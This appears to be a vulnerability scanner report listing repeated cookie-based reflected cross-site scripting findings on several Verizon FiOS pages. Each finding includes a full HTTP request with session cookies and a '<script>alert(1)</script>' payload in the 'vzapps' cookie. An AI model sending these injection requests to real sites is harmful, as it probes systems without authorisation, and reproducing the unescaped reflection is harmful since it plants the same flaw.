GET /Residential/aboutFiOS/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX9615c'><script>alert(1)</script>429403f6389; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload dfcde<script>alert(1)</script>8f3e3402cf5 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXdfcde<script>alert(1)</script>8f3e3402cf5; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 31d72<script>alert(1)</script>0dcf417d564 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/Overview.aspx HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX31d72<script>alert(1)</script>0dcf417d564; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6dd83'><script>alert(1)</script>867907a5873 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/Overview.aspx HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX6dd83'><script>alert(1)</script>867907a5873; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 1bacd'><script>alert(1)</script>2320ed80ee3 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload a8277<script>alert(1)</script>8964030b879 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload df322<script>alert(1)</script>ac941ae4822 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/labs/labs.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXdf322<script>alert(1)</script>ac941ae4822; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload ad9a7'><script>alert(1)</script>c9b242b33c4 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/labs/labs.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXad9a7'><script>alert(1)</script>c9b242b33c4; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7d599'><script>alert(1)</script>7fa37470b53 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/reviews/reviews.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX7d599'><script>alert(1)</script>7fa37470b53; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 64807<script>alert(1)</script>74420ca7421 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/reviews/reviews.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX64807<script>alert(1)</script>74420ca7421; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 701d2'><script>alert(1)</script>a627735ffa9 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/widgets/widgets.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX701d2'><script>alert(1)</script>a627735ffa9; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 2493f<script>alert(1)</script>c7f76c215e9 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/widgets/widgets.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX2493f<script>alert(1)</script>c7f76c215e9; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 38bd2'><script>alert(1)</script>747c1a02b2b was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutfios/Reviews.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX38bd2'><script>alert(1)</script>747c1a02b2b; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 2696b<script>alert(1)</script>2ec3c85e5c5 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutfios/Reviews.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX2696b<script>alert(1)</script>2ec3c85e5c5; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c17a0'><script>alert(1)</script>5a0a60ca220 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutfios/labs.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXc17a0'><script>alert(1)</script>5a0a60ca220; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 41492<script>alert(1)</script>9893dbf42a1 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
